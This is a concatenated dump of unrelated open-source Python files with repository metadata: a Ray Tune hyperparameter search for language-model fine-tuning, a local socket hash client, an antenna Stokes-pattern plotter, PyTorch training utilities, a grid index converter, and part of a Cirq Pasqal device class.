2021-08-07T06:06:45.000Z

examples/language-modeling/debias_lm_hps_tune.py

SoumyaBarikeri/transformers

996c6e113404000f50444287aa8a31a174ebd92f

[ "Apache-2.0" ]

null

examples/language-modeling/debias_lm_hps_tune.py

SoumyaBarikeri/transformers

996c6e113404000f50444287aa8a31a174ebd92f

[ "Apache-2.0" ]

2

2021-05-31T08:50:50.000Z

2022-01-26T13:14:58.000Z

# coding=utf-8 # Copyright 2018 The Google AI Language Team Authors and The HuggingFace Inc. team. # Copyright (c) 2018, NVIDIA CORPORATION. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """ Fine-tuning the library models for language modeling on a text file (GPT, GPT-2, CTRL, BERT, RoBERTa, XLNet). GPT, GPT-2 and CTRL are fine-tuned using a causal language modeling (CLM) loss. BERT and RoBERTa are fine-tuned using a masked language modeling (MLM) loss. XLNet is fine-tuned using a permutation language modeling (PLM) loss. """ import logging import math import os from dataclasses import dataclass, field from typing import Optional import torch from transformers.optimization import AdamW, get_linear_schedule_with_warmup from transformers import ( CONFIG_MAPPING, MODEL_WITH_LM_HEAD_MAPPING, AutoConfig, AutoModelWithLMHead, AutoTokenizer, DataCollatorForLanguageModeling, DataCollatorForPermutationLanguageModeling, HfArgumentParser, # LineByLineTextDatasetLabels, LineByLineTextDataset, PreTrainedTokenizer, TextDataset, Trainer, TrainingArguments, set_seed, ) import ray from ray import tune from transformers.file_utils import is_torch_tpu_available from transformers.trainer_utils import PREFIX_CHECKPOINT_DIR from ray.tune.schedulers import PopulationBasedTraining from ray.tune import CLIReporter # if is_wandb_available(): # import wandb ray.shutdown() ray.init(log_to_driver=True, ignore_reinit_error=True) logger = logging.getLogger(__name__) MODEL_CONFIG_CLASSES = list(MODEL_WITH_LM_HEAD_MAPPING.keys()) MODEL_TYPES = tuple(conf.model_type for conf in MODEL_CONFIG_CLASSES) @dataclass class ModelArguments: """ Arguments pertaining to which model/config/tokenizer we are going to fine-tune, or train from scratch. """ model_name_or_path: Optional[str] = field( default=None, metadata={ "help": "The model checkpoint for weights initialization. Leave None if you want to train a model from scratch." }, ) model_type: Optional[str] = field( default=None, metadata={"help": "If training from scratch, pass a model type from the list: " + ", ".join(MODEL_TYPES)}, ) config_name: Optional[str] = field( default=None, metadata={"help": "Pretrained config name or path if not the same as model_name"} ) tokenizer_name: Optional[str] = field( default=None, metadata={"help": "Pretrained tokenizer name or path if not the same as model_name"} ) cache_dir: Optional[str] = field( default=None, metadata={"help": "Where do you want to store the pretrained models downloaded from s3"} ) force_pad_token: bool = field( default=False, metadata={ "help": "Whether to force the addition of a padding token to tokenizer that does not already have one." }, ) debiasing_head: Optional[str] = field( default=None, metadata={"help": "The type of de-biasing head to be used"} ) @dataclass class DataTrainingArguments: """ Arguments pertaining to what data we are going to input our model for training and eval. """ train_data_file: Optional[str] = field( default=None, metadata={"help": "The input training data file (a text file)."} ) eval_data_file: Optional[str] = field( default=None, metadata={"help": "An optional input evaluation data file to evaluate the perplexity on (a text file)."}, ) line_by_line: bool = field( default=False, metadata={"help": "Whether distinct lines of text in the dataset are to be handled as distinct sequences."}, ) mlm: bool = field( default=False, metadata={"help": "Train with masked-language modeling loss instead of language modeling."} ) mlm_probability: float = field( default=0.15, metadata={"help": "Ratio of tokens to mask for masked language modeling loss"} ) plm_probability: float = field( default=1 / 6, metadata={ "help": "Ratio of length of a span of masked tokens to surrounding context length for permutation language modeling." }, ) max_span_length: int = field( default=5, metadata={"help": "Maximum length of a span of masked tokens for permutation language modeling."} ) block_size: int = field( default=-1, metadata={ "help": "Optional input sequence length after tokenization." "The training dataset will be truncated in block of this size for training." "Default to the model max input length for single sentence inputs (take into account special tokens)." }, ) overwrite_cache: bool = field( default=False, metadata={"help": "Overwrite the cached training and evaluation sets"} ) def get_dataset( args: DataTrainingArguments, tokenizer: PreTrainedTokenizer, evaluate: bool = False, cache_dir: Optional[str] = None, ): file_path = args.eval_data_file if evaluate else args.train_data_file if args.line_by_line: return LineByLineTextDataset(tokenizer=tokenizer, file_path=file_path, block_size=args.block_size) # return LineByLineTextDatasetLabels(tokenizer=tokenizer, file_path=file_path, block_size=args.block_size) else: return TextDataset( tokenizer=tokenizer, file_path=file_path, block_size=args.block_size, overwrite_cache=args.overwrite_cache, cache_dir=cache_dir, ) class TuneTransformerTrainer(Trainer): def create_optimizer_and_scheduler(self, num_training_steps: int): if self.optimizer is None: no_decay = ["bias", "LayerNorm.weight"] optimizer_grouped_parameters = [ { "params": [p for n, p in self.model.named_parameters() if not any(nd in n for nd in no_decay)], "weight_decay": self.args.weight_decay, }, { "params": [p for n, p in self.model.named_parameters() if any(nd in n for nd in no_decay)], "weight_decay": 0.0, }, ] self.optimizer = AdamW( optimizer_grouped_parameters, lr=self.args.learning_rate, betas=(self.args.adam_beta1, self.args.adam_beta2), eps=self.args.adam_epsilon, ) if self.lr_scheduler is None: self.lr_scheduler = get_linear_schedule_with_warmup( self.optimizer, num_warmup_steps=self.args.warmup_steps, num_training_steps=num_training_steps ) return self.current_optimizer, self.current_scheduler def evaluate(self, eval_dataset= None): eval_dataloader = self.get_eval_dataloader(eval_dataset) output = self.prediction_loop( eval_dataloader, description="Evaluation") self.log(output.metrics) self.save_state() tune.report(**output.metrics) return output.metrics def save_state(self): with tune.checkpoint_dir(step=self.global_step) as checkpoint_dir: self.args.output_dir = checkpoint_dir # This is the directory name that Huggingface requires. output_dir = os.path.join( self.args.output_dir, f"{PREFIX_CHECKPOINT_DIR}-{self.global_step}") self.save_model(output_dir) self.current_optimizer, self.current_scheduler = self.create_optimizer_and_scheduler(360) if self.is_world_master(): torch.save(self.current_optimizer.state_dict(), os.path.join(output_dir, "optimizer.pt")) torch.save(self.current_scheduler.state_dict(), os.path.join(output_dir, "scheduler.pt")) def recover_checkpoint(tune_checkpoint_dir, model_name=None): if tune_checkpoint_dir is None or len(tune_checkpoint_dir) == 0: return model_name # Get subdirectory used for Huggingface. subdirs = [ os.path.join(tune_checkpoint_dir, name) for name in os.listdir(tune_checkpoint_dir) if os.path.isdir(os.path.join(tune_checkpoint_dir, name)) ] # There should only be 1 subdir. assert len(subdirs) == 1, subdirs return subdirs[0] # def train_transformer(config, checkpoint_dir=None): # train_dataset, eval_dataset = get_datasets(config) # # training_args = TrainingArguments( # output_dir=tune.get_trial_dir(), # learning_rate=config["learning_rate"], # do_train=True, # do_eval=True, # evaluate_during_training=True, # # Run eval after every epoch. # eval_steps=(len(train_dataset) // config["per_gpu_train_batch_size"]) + # 1, # # We explicitly set save to 0, and do checkpointing in evaluate instead # save_steps=0, # num_train_epochs=config["num_epochs"], # max_steps=config["max_steps"], # per_device_train_batch_size=config["per_gpu_train_batch_size"], # per_device_eval_batch_size=config["per_gpu_val_batch_size"], # warmup_steps=0, # weight_decay=config["weight_decay"], # logging_dir="./logs", # ) # # model_name_or_path = recover_checkpoint(checkpoint_dir, config["model_name"]) # # num_labels = glue_tasks_num_labels[config["task_name"]] # # config = AutoConfig.from_pretrained( # model_name_or_path, # num_labels=num_labels, # finetuning_task=task_name, # ) # model = AutoModelForSequenceClassification.from_pretrained( # model_name_or_path, # config=config, # ) # # # Use our modified TuneTransformerTrainer # tune_trainer = TuneTransformerTrainer( # model=model, # args=training_args, # train_dataset=train_dataset, # eval_dataset=eval_dataset, # compute_metrics=utils.build_compute_metrics_fn(task_name), # ) # tune_trainer.train(model_name_or_path) def train_transformer(config, checkpoint_dir=None): # See all possible arguments in src/transformers/training_args.py # or by passing the --help flag to this script. # We now keep distinct sets of args, for a cleaner separation of concerns. # parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments)) # model_args, data_args, training_args = parser.parse_args_into_dataclasses() if data_args.eval_data_file is None and training_args.do_eval: raise ValueError( "Cannot do evaluation without an evaluation data file. Either supply a file to --eval_data_file " "or remove the --do_eval argument." ) if ( os.path.exists(training_args.output_dir) and os.listdir(training_args.output_dir) and training_args.do_train and not training_args.overwrite_output_dir ): raise ValueError( f"Output directory ({training_args.output_dir}) already exists and is not empty. Use --overwrite_output_dir to overcome." ) # Setup logging logging.basicConfig( format="%(asctime)s - %(levelname)s - %(name)s - %(message)s", datefmt="%m/%d/%Y %H:%M:%S", level=logging.INFO if training_args.local_rank in [-1, 0] else logging.WARN, ) logger.warning( "Process rank: %s, device: %s, n_gpu: %s, distributed training: %s, 16-bits training: %s", training_args.local_rank, training_args.device, training_args.n_gpu, bool(training_args.local_rank != -1), training_args.fp16, ) logger.info("Training/evaluation parameters %s", training_args) # Set seed set_seed(training_args.seed) # Load pretrained model and tokenizer # # Distributed training: # The .from_pretrained methods guarantee that only one local process can concurrently # download model & vocab. if model_args.config_name: config_in = AutoConfig.from_pretrained(model_args.config_name, cache_dir=model_args.cache_dir) elif model_args.model_name_or_path: config_in = AutoConfig.from_pretrained(model_args.model_name_or_path, cache_dir=model_args.cache_dir) else: config_in = CONFIG_MAPPING[model_args.model_type]() logger.warning("You are instantiating a new config instance from scratch.") if model_args.tokenizer_name: tokenizer = AutoTokenizer.from_pretrained(model_args.tokenizer_name, cache_dir=model_args.cache_dir) elif model_args.model_name_or_path: tokenizer = AutoTokenizer.from_pretrained(model_args.model_name_or_path, cache_dir=model_args.cache_dir) else: raise ValueError( "You are instantiating a new tokenizer from scratch. This is not supported, but you can do it from another script, save it," "and load it from here, using --tokenizer_name" ) if tokenizer.pad_token_id is None: if model_args.force_pad_token: # See PR 3388. Some tokenizers don't had pad tokens which causes errors at the encoding step in the collate_fn. # We give here the option to force the addition of a pad token. The attention mask is used to ignore this token # when feeding to the model.x tokenizer.add_special_tokens({"pad_token": "<pad>"}) else: logger.warning( "Attempting to train a model whose tokenizer has no padding token. This may result in errors in the encoding step. Set the --force_pad_token flag to fix this." ) model_name_or_path = recover_checkpoint(checkpoint_dir, config["model_name"]) if model_args.model_name_or_path: model = AutoModelWithLMHead.from_pretrained( model_args.model_name_or_path, from_tf=bool(".ckpt" in model_args.model_name_or_path), config=config_in, cache_dir=model_args.cache_dir, ) else: logger.info("Training new model from scratch") model = AutoModelWithLMHead.from_config(config_in) special_tokens_dict = {'bos_token': '<bos>', 'eos_token': '<eos>', 'pad_token': '<pad>'} num_added_toks = tokenizer.add_special_tokens(special_tokens_dict) model.resize_token_embeddings(len(tokenizer)) if config_in.model_type in ["bert", "roberta", "distilbert", "camembert"] and not data_args.mlm: raise ValueError( "BERT and RoBERTa-like models do not have LM heads but masked LM heads. They must be run using the" "--mlm flag (masked language modeling)." ) if data_args.block_size <= 0: data_args.block_size = tokenizer.max_len # Our input block size will be the max possible for the model else: data_args.block_size = min(data_args.block_size, tokenizer.max_len) # Get datasets train_dataset = ( get_dataset(data_args, tokenizer=tokenizer, cache_dir=model_args.cache_dir) if training_args.do_train else None ) # print('train_dataset {}'.format(train_dataset.examples[0])) eval_dataset = ( get_dataset(data_args, tokenizer=tokenizer, evaluate=True, cache_dir=model_args.cache_dir) if training_args.do_eval else None ) if config_in.model_type == "xlnet": data_collator = DataCollatorForPermutationLanguageModeling( tokenizer=tokenizer, plm_probability=data_args.plm_probability, max_span_length=data_args.max_span_length, ) else: data_collator = DataCollatorForLanguageModeling( tokenizer=tokenizer, mlm=data_args.mlm, mlm_probability=data_args.mlm_probability ) training_args = TrainingArguments( output_dir=tune.get_trial_dir(), learning_rate=config["learning_rate"], do_train=True, do_eval=True, evaluate_during_training=True, # Run eval after every epoch. eval_steps=(len(train_dataset) // config["per_gpu_train_batch_size"]) + 1, # We explicitly set save to 0, and do checkpointing in evaluate instead save_steps=0, num_train_epochs=config["num_epochs"], max_steps=config["max_steps"], per_device_train_batch_size=config["per_gpu_train_batch_size"], per_device_eval_batch_size=config["per_gpu_val_batch_size"], warmup_steps=0, weight_decay=config["weight_decay"], logging_dir="./logs") # Initialize our Trainer tune_trainer = TuneTransformerTrainer( model=model, args=training_args, data_collator=data_collator, train_dataset=train_dataset, eval_dataset=eval_dataset, prediction_loss_only=True, # compute_metrics=compute_metrics, ) if training_args.do_train: model_path = ( model_args.model_name_or_path if model_args.model_name_or_path is not None and os.path.isdir(model_args.model_name_or_path) else None ) tune_trainer.train(model_path=model_path) if __name__ == "__main__": parser = HfArgumentParser((ModelArguments, DataTrainingArguments, TrainingArguments)) model_args, data_args, training_args = parser.parse_args_into_dataclasses() config = { # These 3 configs below were defined earlier "model_name": model_args.model_name_or_path, "task_name": "CLM", "data_dir": "", "per_gpu_val_batch_size": 32, "per_gpu_train_batch_size": tune.choice([16, 32, 64]), "learning_rate": tune.uniform(1e-5, 5e-5), "weight_decay": tune.uniform(0.0, 0.3), "num_epochs": tune.choice([2, 3, 4, 5]), "max_steps": -1, # We use num_epochs instead. "wandb": { "project": "pbt_transformers", "reinit": True, "allow_val_change": True } } logger.info(config) scheduler = PopulationBasedTraining( time_attr="training_iteration", metric="eval_loss", mode="min", perturbation_interval=2, hyperparam_mutations={ "weight_decay": lambda: tune.uniform(0.0, 0.3).func(None), "learning_rate": lambda: tune.uniform(1e-5, 5e-5).func(None), "per_gpu_train_batch_size": [16, 32, 64], }) reporter = CLIReporter( parameter_columns={ "weight_decay": "w_decay", "learning_rate": "lr", "per_gpu_train_batch_size": "train_bs/gpu", "num_epochs": "num_epochs" }, metric_columns=[ "eval_acc", "eval_loss", "epoch", "training_iteration" ]) analysis = tune.run( train_transformer, resources_per_trial={ "cpu": 1, "gpu": 1 }, config=config, num_samples=3, scheduler=scheduler, keep_checkpoints_num=3, checkpoint_score_attr="training_iteration", progress_reporter=reporter, local_dir="./ray_results/", name="tune_trans") best_config = analysis.get_best_config(metric="eval_loss", mode="min") print(best_config)

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175

0.664477

2,475

19,793

5.071919

0.202424

0.020075

0.015136

0.020314

0.333307

0.300486

0.263284

0.204812

0.178125

0.162192

0

0.006436

0.24635

19,793

517

176

38.284333

0.835087

0.21548

0

0.089636

0

0.011204

0.203429

0.016628

0

0.002801

1

0.016807

false

0.002801

0.039216

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0.002801

0

null

0

null

0

1

0

869ee02cc744c1a084a226d08c1391e0d7881239

1,373

py

Python

checksums.py

pgp/RootHelperClientTestInteractions

6b9e9cc9f10eb2bf9b9dafa851ed56005f7666b5

[ "Apache-2.0" ]

1

2019-05-04T12:29:41.000Z

checksums.py

pgp/RootHelperClientTestInteractions

6b9e9cc9f10eb2bf9b9dafa851ed56005f7666b5

[ "Apache-2.0" ]

null

checksums.py

pgp/RootHelperClientTestInteractions

6b9e9cc9f10eb2bf9b9dafa851ed56005f7666b5

[ "Apache-2.0" ]

null

from net_common import * import struct import sys def getDirHashOpts(withNames=False, ignoreThumbsFiles=True, ignoreUnixHiddenFiles=True, ignoreEmptyDirs=True): return bytearray([((1 if withNames else 0) + (2 if ignoreThumbsFiles else 0) + (4 if ignoreUnixHiddenFiles else 0) + (8 if ignoreEmptyDirs else 0))]) if __name__ == "__main__": sock = get_connected_local_socket() path = encodeString('/dev/shm/exampleDir') # path = encodeString('/dev/null') sock.sendall(bytearray(b'\x0A')) # HASH request # sock.sendall(bytearray(b'\x01')) # choose MD5 algorithm sock.sendall(bytearray(b'\x06')) # choose SHA3-224 algorithm sock.sendall(getDirHashOpts(withNames=True,ignoreUnixHiddenFiles=False)) # send dirHashOpts byte (unused for regular files) sock.sendall(struct.pack("@H", len(path))) # len of path as unsigned short sock.sendall(path) resp = sock.recv(1) # response first byte: \x00 OK or \xFF ERROR if resp != b'\x00': print("Error byte received, errno is:", struct.unpack("@i", sock.recv(4))[0]) sys.exit(0) # print(toHex(sock.recv(16))) # 128 bit (16 byte) md5 digest size print(toHex(sock.recv(28))) # 224 bit (28 byte) sha3-224 digest size sock.close()

40.382353

128

0.627822

170

1,373

5

0.505882

0.077647

0.070588

0.074118

0

0.043647

0.24909

1,373

33

129

41.606061

0.780795

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0

0.072277

0

1

0.04

false

0

0.12

0.04

0.2

0.08

0

null

0

null

0

1

0

86a15534f296338602eb17c7dad23025e0241a4e

3,208

py

Python

scripts/viewStokespat.py

David-McKenna/AntPat

45618659994b27e2654f1effd6d9baa15867b6d3

[ "ISC" ]

5

2016-06-21T14:54:23.000Z

2021-04-06T06:23:25.000Z

scripts/viewStokespat.py

David-McKenna/AntPat

45618659994b27e2654f1effd6d9baa15867b6d3

[ "ISC" ]

null

scripts/viewStokespat.py

David-McKenna/AntPat

45618659994b27e2654f1effd6d9baa15867b6d3

[ "ISC" ]

2

2019-10-25T03:16:06.000Z

2020-11-15T14:18:46.000Z

#!/usr/bin/env python """A simple viewer for Stokes patterns based on two far-field pattern files. (Possibly based on one FF pattern files if it has two requests: one for each polarization channel.)""" import os import argparse import numpy import matplotlib.pyplot as plt from antpat.reps.sphgridfun.tvecfun import TVecFields from antpat.radfarfield import RadFarField from antpat.dualpolelem import DualPolElem FEKOsuffix = 'ffe' GRASPsuffix = 'swe' NECsuffix = 'out' def Jones2Stokes(Jones): """Convert Jones matrix to Stokes vector. This assumes dual-pol antenna receiving unpolarized unit valued radiation i.e. incoming Stokes = (1,0,0,0).""" brightmat = numpy.matmul(Jones, numpy.swapaxes(numpy.conjugate(Jones),-1,-2)) StokesI = numpy.real(brightmat[...,0,0]+brightmat[...,1,1]) StokesQ = numpy.real(brightmat[...,0,0]-brightmat[...,1,1]) StokesU = numpy.real(brightmat[...,0,1]+brightmat[...,1,0]) StokesV = numpy.imag(brightmat[...,0,1]-brightmat[...,1,0]) return StokesI, StokesQ, StokesU, StokesV def plotStokes_fromFEKOfiles(p_chan_file, q_chan_file, freq): (tvf_p, tvf_q) = (TVecFields(), TVecFields()) tvf_p.load_ffe(p_chan_file) tvf_q.load_ffe(q_chan_file) (ant_p, ant_q) = (RadFarField(tvf_p), RadFarField(tvf_q)) (p_chan_name, q_chan_name) = (os.path.basename(p_chan_file), os.path.basename(q_chan_file)) (ant_p.name, ant_q.name) = (p_chan_name, q_chan_name) dualpolAnt = DualPolElem(ant_p, ant_q) THETA, PHI, Jones = dualpolAnt.getJonesPat(freq) (StokesI, StokesQ, StokesU, StokesV) = Jones2Stokes(Jones) x = THETA*numpy.cos(PHI) y = THETA*numpy.sin(PHI) #x= THETA #y=PHI xyNames = ('theta*cos(phi)','theta*sin(phi)') fig = plt.figure() ax1 = fig.add_subplot(221) plt.pcolormesh(x, y, 10*numpy.log10(StokesI), label="I") #plt.pcolormesh(x, y, StokesI, label="I") plt.colorbar() ax1.set_title('I (dB)') ax2 = fig.add_subplot(222) plt.pcolormesh(x, y, StokesQ/StokesI, label="Q") plt.colorbar() ax2.set_title('Q/I') ax3 = fig.add_subplot(223) plt.pcolormesh(x, y, StokesU/StokesI, label="U") plt.colorbar() ax3.set_title('U/I') ax4 = fig.add_subplot(224) plt.pcolormesh(x, y, StokesV/StokesI, label="V") plt.colorbar() ax4.set_title('V/I') fig.suptitle('Stokes (azimuthal-equidistant proj) @ ' +str(freq/1e9)+' GHz') plt.show() if __name__ == "__main__": parser = argparse.ArgumentParser() parser.add_argument("p_chan_file", help='Filename of polarization channel p') parser.add_argument("q_chan_file", help='Filename of polarization channel p') parser.add_argument("freq", nargs='?', type=float, help="Frequency in Hertz") args = parser.parse_args() if args.p_chan_file.endswith(FEKOsuffix): plotStokes_fromFEKOfiles(args.p_chan_file, args.q_chan_file, args.freq) elif args.p_chan_file.endswith(GRASPsuffix): print("Not implemented yet.") elif args.p_chan_file.endswith(NECsuffix): print("Not implemented yet.") else: print("Far-field pattern file type not known") exit(1)

36.044944

102

0.674564

457

3,208

4.582057

0.347921

0.049666

0.034384

0.035817

0.170487

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0

0.019399

0.180486

3,208

88

103

36.454545

0.777102

0.122818

0

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0

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0.007868

0

1

0.029851

false

0

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0.044776

0

null

0

null

0

1

0

86a15d2cf1ab721951e4abf4f4b561d571ed4d1c

2,141

py

Python

utils.py

lingjiao10/Facial-Expression-Recognition.Pytorch

f5ba0e527347af3778d44eb7045e4970d01641a6

[ "MIT" ]

null

utils.py

lingjiao10/Facial-Expression-Recognition.Pytorch

f5ba0e527347af3778d44eb7045e4970d01641a6

[ "MIT" ]

null

utils.py

lingjiao10/Facial-Expression-Recognition.Pytorch

f5ba0e527347af3778d44eb7045e4970d01641a6

[ "MIT" ]

1

2019-10-02T02:26:39.000Z

'''Some helper functions for PyTorch, including: - progress_bar: progress bar mimic xlua.progress. - set_lr : set the learning rate - clip_gradient : clip gradient ''' import os import sys import time import math import torch import torch.nn as nn import torch.nn.init as init from torch.autograd import Function #获取控制台行、列数 if sys.platform == 'win32': term_width = 80 else: print('###', os.popen('stty size', 'r').read()) _, term_width = os.popen('stty size', 'r').read().split() term_width = int(term_width) TOTAL_BAR_LENGTH = 30. last_time = time.time() begin_time = last_time #[==>........ 19/225 ...........] | Loss: 1.961 | Acc: 22.000% (537/2432) def progress_bar(current, total, msg=None): global last_time, begin_time if current == 0: begin_time = time.time() # Reset for new bar. cur_len = int(TOTAL_BAR_LENGTH*current/total) rest_len = int(TOTAL_BAR_LENGTH - cur_len) - 1 sys.stdout.write(' [') for i in range(cur_len): sys.stdout.write('=') sys.stdout.write('>') for i in range(rest_len): sys.stdout.write('.') sys.stdout.write(']') cur_time = time.time() step_time = cur_time - last_time last_time = cur_time tot_time = cur_time - begin_time L = [] if msg: L.append(' | ' + msg) msg = ''.join(L) sys.stdout.write(msg) for i in range(term_width-int(TOTAL_BAR_LENGTH)-len(msg)-3): sys.stdout.write(' ') # Go back to the center of the bar. for i in range(term_width-int(TOTAL_BAR_LENGTH/2)+2): sys.stdout.write('\b') sys.stdout.write(' %d/%d ' % (current+1, total)) if current < total-1: sys.stdout.write('\r') else: sys.stdout.write('\n') sys.stdout.flush() def set_lr(optimizer, lr): for group in optimizer.param_groups: group['lr'] = lr def clip_gradient(optimizer, grad_clip): for group in optimizer.param_groups: #print(group['params']) for param in group['params']: param.grad.data.clamp_(-grad_clip, grad_clip)

27.101266

76

0.604858

308

2,141

4.045455

0.327922

0.086677

0.123596

0.054575

0.250401

0.218299

0.138042

0.05939

0

0.021144

0.248949

2,141

78

77

27.448718

0.753731

0.148996

0

0.071429

0

0.034282

0

1

0.053571

false

0

0.142857

0

0.196429

0.017857

0

null

0

null

0

1

0

86a1bd490fa794c86a7ba173a9dce9709f3eb600

2,236

py

Python

string-method/src/analysis/FE_analysis/index_converter.py

delemottelab/gpcr-string-method-2019

b50786a4a8747d56ad04ede525592eb31f1890fd

[ "MIT" ]

null

string-method/src/analysis/FE_analysis/index_converter.py

delemottelab/gpcr-string-method-2019

b50786a4a8747d56ad04ede525592eb31f1890fd

[ "MIT" ]

null

string-method/src/analysis/FE_analysis/index_converter.py

delemottelab/gpcr-string-method-2019

b50786a4a8747d56ad04ede525592eb31f1890fd

[ "MIT" ]

3

2020-03-16T04:33:50.000Z

2021-03-19T17:25:59.000Z

from __future__ import absolute_import, division, print_function import logging import sys logging.basicConfig( stream=sys.stdout, level=logging.DEBUG, format='%(asctime)s %(name)s-%(levelname)s: %(message)s', datefmt='%Y-%m-%d %H:%M:%S') import numpy as np import utils logger = logging.getLogger("indexconverter") class IndexConverter(object): def __init__(self, ndim, ngrid): self.ndim = ndim self.ngrid = ngrid self._modulus = [(ngrid - 1) ** (ndim - j - 1) for j in range(ndim)] self._zerodim = np.zeros((self.ndim,)) self.nbins = int(np.rint((ngrid - 1) ** ndim)) def convert_to_vector(self, grid): if grid.shape[0] != self.ngrid - 1: raise Exception("Wrong dimension of grid. Expect length fo %s got %s" % (self.ngrid - 1, grid.shape[0])) vector = np.empty((self.nbins,)) for bin_idx in range(self.nbins): vector[bin_idx] = grid[tuple(self.convert_to_grid_idx(bin_idx))] return vector def convert_to_grid(self, vector): grid_shape = tuple(np.zeros(self.ndim).astype(int) + (self.ngrid - 1)) if len(vector.shape) > 1: grids = np.empty((len(vector),) + grid_shape) for idx, v in enumerate(vector): grids[idx] = self.convert_to_grid(v) return grids else: grid = np.zeros(grid_shape) for idx in range(len(vector)): grid[tuple(self.convert_to_grid_idx(idx))] = vector[idx] return grid def convert_to_grid_idx(self, bin_idx): if bin_idx >= self.nbins or bin_idx < 0: print(self.nbins, self.ndim, self.nbins ** self.ndim) raise Exception("Invalid index %s. You are probably outside the grid..." % bin_idx) grid_idx = ((self._zerodim + bin_idx) / self._modulus) % (self.ngrid - 1) return grid_idx.astype(int) def convert_to_bin_idx(self, grid_idx): bin_idx = utils.rint(np.sum(grid_idx * self._modulus)) if bin_idx >= self.nbins or bin_idx < 0: raise Exception( "Invalid bin index %s. You are probably outside the grid. Size:%s" % (bin_idx, self.nbins)) return bin_idx

38.551724

116

0.609123

315

2,236

4.155556

0.27619

0.064171

0.049656

0.038961

0.135982

0.091673

0.039725

0

0.007273

0.262075

2,236

57

117

39.22807

0.786061

0

0.040816

0

0.110465

0.010286

0

1

0.102041

false

0

0.102041

0

0.326531

0.040816

0

null

0

null

0

1

0

86a37502649b0fcb2349b60e7e2d86e82dd233f5

12,050

py

Python

cirq-pasqal/cirq_pasqal/pasqal_device.py

pavoljuhas/Cirq

b6d6577be61d216ce2f29f8c64ae5879cf3087d5

[ "Apache-2.0" ]

1

2022-02-05T22:17:39.000Z

cirq-pasqal/cirq_pasqal/pasqal_device.py

pavoljuhas/Cirq

b6d6577be61d216ce2f29f8c64ae5879cf3087d5

[ "Apache-2.0" ]

null

cirq-pasqal/cirq_pasqal/pasqal_device.py

pavoljuhas/Cirq

b6d6577be61d216ce2f29f8c64ae5879cf3087d5

[ "Apache-2.0" ]

null

# Copyright 2020 The Cirq Developers # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # https://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. from typing import FrozenSet, Callable, List, Sequence, Any, Union, Dict import numpy as np import networkx as nx import cirq from cirq import _compat, GridQubit, LineQubit from cirq.ops import NamedQubit from cirq_pasqal import ThreeDQubit, TwoDQubit, PasqalGateset @cirq.value.value_equality class PasqalDevice(cirq.devices.Device): """A generic Pasqal device. The most general of Pasqal devices, enforcing only restrictions expected to be shared by all future devices. Serves as the parent class of all Pasqal devices, but can also be used on its own for hosting a nearly unconstrained device. When used as a circuit's device, the qubits have to be of the type cirq.NamedQubit and assumed to be all connected, the idea behind it being that after submission, all optimization and transpilation necessary for its execution on the specified device are handled internally by Pasqal. """ def __init__(self, qubits: Sequence[cirq.Qid]) -> None: """Initializes a device with some qubits. Args: qubits (NamedQubit): Qubits on the device, exclusively unrelated to a physical position. Raises: TypeError: If the wrong qubit type is provided. ValueError: If the number of qubits is greater than the devices maximum. """ if len(qubits) > 0: q_type = type(qubits[0]) for q in qubits: if not isinstance(q, self.supported_qubit_type): raise TypeError( 'Unsupported qubit type: {!r}. This device ' 'supports qubit types: {}'.format(q, self.supported_qubit_type) ) if not type(q) is q_type: raise TypeError("All qubits must be of same type.") if len(qubits) > self.maximum_qubit_number: raise ValueError( 'Too many qubits. {} accepts at most {} ' 'qubits.'.format(type(self), self.maximum_qubit_number) ) self.gateset = PasqalGateset() self.qubits = qubits self._metadata = cirq.DeviceMetadata( qubits, nx.from_edgelist([(a, b) for a in qubits for b in qubits if a != b]) ) # pylint: enable=missing-raises-doc @property def supported_qubit_type(self): return (NamedQubit,) @property def maximum_qubit_number(self): return 100 @property def metadata(self): return self._metadata @_compat.deprecated(fix='Use metadata.qubit_set() if applicable.', deadline='v0.15') def qubit_set(self) -> FrozenSet[cirq.Qid]: return frozenset(self.qubits) def qubit_list(self): return [qubit for qubit in self.qubits] def is_pasqal_device_op(self, op: cirq.Operation) -> bool: if not isinstance(op, cirq.Operation): raise ValueError('Got unknown operation:', op) return op in self.gateset def validate_operation(self, operation: cirq.Operation): """Raises an error if the given operation is invalid on this device. Args: operation: The operation to validate. Raises: ValueError: If the operation is not valid. NotImplementedError: If the operation is a measurement with an invert mask. """ if not isinstance(operation, cirq.GateOperation): raise ValueError("Unsupported operation") if not self.is_pasqal_device_op(operation): raise ValueError(f'{operation.gate!r} is not a supported gate') for qub in operation.qubits: if not isinstance(qub, self.supported_qubit_type): raise ValueError( '{} is not a valid qubit for gate {!r}. This ' 'device accepts gates on qubits of type: ' '{}'.format(qub, operation.gate, self.supported_qubit_type) ) if qub not in self.metadata.qubit_set: raise ValueError(f'{qub} is not part of the device.') if isinstance(operation.gate, cirq.MeasurementGate): if operation.gate.invert_mask != (): raise NotImplementedError( "Measurements on Pasqal devices don't support invert_mask." ) def validate_circuit(self, circuit: 'cirq.AbstractCircuit') -> None: """Raises an error if the given circuit is invalid on this device. A circuit is invalid if any of its moments are invalid or if there is a non-empty moment after a moment with a measurement. Args: circuit: The circuit to validate Raises: ValueError: If the given circuit can't be run on this device """ super().validate_circuit(circuit) # Measurements must be in the last non-empty moment has_measurement_occurred = False for moment in circuit: if has_measurement_occurred: if len(moment.operations) > 0: raise ValueError("Non-empty moment after measurement") for operation in moment.operations: if isinstance(operation.gate, cirq.MeasurementGate): has_measurement_occurred = True def __repr__(self): return f'pasqal.PasqalDevice(qubits={sorted(self.qubits)!r})' def _value_equality_values_(self): return self.qubits def _json_dict_(self): return cirq.protocols.obj_to_dict_helper(self, ['qubits']) class PasqalVirtualDevice(PasqalDevice): """A Pasqal virtual device with qubits in 3d. A virtual representation of a Pasqal device, enforcing the constraints typically found in a physical device. The qubits can be positioned in 3d space, although 2d layouts 